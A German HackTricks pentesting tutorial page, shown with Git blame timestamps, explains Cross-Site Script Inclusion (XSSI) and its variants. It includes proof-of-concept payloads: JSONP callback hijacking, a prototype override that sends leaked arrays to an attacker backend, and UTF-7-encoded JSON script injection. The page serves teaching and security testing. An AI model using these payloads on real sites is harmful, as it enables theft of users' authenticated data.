hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

100 lines
8.1 KiB
Markdown
Raw Normal View History

# XSSI (Cross-Site Script Inclusion)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-02-03 15:45:32 +01:00
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Grundinformationen
**Cross-Site Script Inclusion (XSSI)** ist eine Schwachstelle, die sich aus der Natur des `script`-Tags in HTML ergibt. Im Gegensatz zu den meisten Ressourcen, die der **Same-Origin Policy (SOP)** unterliegen, können Skripte von verschiedenen Domains eingebunden werden. Dieses Verhalten soll die Nutzung von Bibliotheken und anderen Ressourcen, die auf verschiedenen Servern gehostet werden, erleichtern, bringt jedoch auch ein potenzielles Sicherheitsrisiko mit sich.
2024-02-10 15:36:32 +00:00
### Hauptmerkmale von **XSSI**:
- **Umgehung der SOP**: Skripte sind von der **Same-Origin Policy** ausgenommen, was es ihnen ermöglicht, über Domains hinweg eingebunden zu werden.
- **Datenexposition**: Ein Angreifer kann dieses Verhalten ausnutzen, um Daten zu lesen, die über das `script`-Tag geladen werden.
- **Auswirkungen auf dynamisches JavaScript/JSONP**: **XSSI** ist besonders relevant für dynamisches JavaScript oder **JSON mit Padding (JSONP)**. Diese Technologien verwenden häufig "ambient-authority"-Informationen (wie Cookies) zur Authentifizierung. Wenn eine Skriptanfrage an einen anderen Host gesendet wird, werden diese Anmeldeinformationen (z. B. Cookies) automatisch in die Anfrage aufgenommen.
- **Leckage von Authentifizierungstoken**: Wenn ein Angreifer den Browser eines Benutzers dazu bringen kann, ein Skript von einem Server anzufordern, den er kontrolliert, könnte er möglicherweise auf sensible Informationen zugreifen, die in diesen Anfragen enthalten sind.
2024-02-10 15:36:32 +00:00
### Typen
1. **Statisches JavaScript** - Dies stellt die konventionelle Form von XSSI dar.
2. **Statisches JavaScript mit Authentifizierung** - Dieser Typ ist besonders, da er eine Authentifizierung zum Zugriff erfordert.
3. **Dynamisches JavaScript** - Bezieht sich auf JavaScript, das Inhalte dynamisch generiert.
4. **Nicht-JavaScript** - Bezieht sich auf Schwachstellen, die nicht direkt JavaScript betreffen.
**Die folgenden Informationen sind eine Zusammenfassung von [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Überprüfe es für weitere Details.
2024-02-10 15:36:32 +00:00
### Reguläres XSSI
In diesem Ansatz sind private Informationen in einer global zugänglichen JavaScript-Datei eingebettet. Angreifer können diese Dateien mit Methoden wie Dateilesen, Schlüsselwortsuchen oder regulären Ausdrücken identifizieren. Sobald sie gefunden sind, kann das Skript, das private Informationen enthält, in bösartigen Inhalten eingebunden werden, was unbefugten Zugriff auf sensible Daten ermöglicht. Eine Beispielausnutzungstechnik ist unten dargestellt:
2024-02-05 03:29:11 +01:00
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dynamische-JavaScript-basierte-XSSI und Authentifizierte-JavaScript-XSSI
Diese Arten von XSSI-Angriffen beinhalten, dass vertrauliche Informationen dynamisch zum Skript hinzugefügt werden, als Reaktion auf eine Anfrage des Benutzers. Die Erkennung kann durchgeführt werden, indem Anfragen mit und ohne Cookies gesendet und die Antworten verglichen werden. Wenn die Informationen unterschiedlich sind, kann dies auf das Vorhandensein vertraulicher Informationen hinweisen. Dieser Prozess kann automatisiert werden, indem Tools wie die [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp-Erweiterung verwendet werden.
Wenn vertrauliche Daten in einer globalen Variablen gespeichert sind, können sie mit ähnlichen Methoden wie bei Regular XSSI ausgenutzt werden. Wenn die vertraulichen Daten jedoch in einer JSONP-Antwort enthalten sind, können Angreifer die Callback-Funktion hijacken, um die Informationen abzurufen. Dies kann entweder durch Manipulation globaler Objekte oder durch das Einrichten einer Funktion geschehen, die von der JSONP-Antwort ausgeführt wird, wie unten demonstriert:
2024-02-05 03:29:11 +01:00
```html
<script>
2024-02-10 15:36:32 +00:00
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
2024-02-05 03:29:11 +01:00
```html
<script>
2024-02-10 15:36:32 +00:00
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Für Variablen, die sich nicht im globalen Namensraum befinden, kann *Prototype Tampering* manchmal ausgenutzt werden. Diese Technik nutzt das Design von JavaScript aus, bei dem die Code-Interpretation das Durchlaufen der Prototypenkette umfasst, um die aufgerufene Eigenschaft zu finden. Durch das Überschreiben bestimmter Funktionen, wie `Array`'s `slice`, können Angreifer auf nicht globale Variablen zugreifen und diese leaken:
```javascript
Array.prototype.slice = function(){
2024-02-10 15:36:32 +00:00
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Weitere Details zu Angriffvektoren finden sich in der Arbeit des Sicherheitsforschers [Sebastian Lekies](https://twitter.com/slekies), der eine Liste von [Vektoren](http://sebastian-lekies.de/leak/) führt.
2024-02-05 03:29:11 +01:00
### Non-Script-XSSI
Die Forschung von Takeshi Terada führt eine weitere Form von XSSI ein, bei der Non-Script-Dateien, wie CSV, durch die Einbindung als Quellen in einem `script`-Tag cross-origin geleakt werden. Historische Fälle von XSSI, wie Jeremiah Grossmans Angriff im Jahr 2006, um ein komplettes Google-Adressbuch zu lesen, und Joe Walkers JSON-Datenleck im Jahr 2007, heben die Schwere dieser Bedrohungen hervor. Darüber hinaus beschreibt Gareth Heyes eine Angriffsvariante, die UTF-7-kodiertes JSON verwendet, um das JSON-Format zu umgehen und Skripte auszuführen, was in bestimmten Browsern effektiv ist:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
2024-02-05 03:29:11 +01:00
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Unterstütze HackTricks</summary>
2024-02-03 15:45:32 +01:00
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}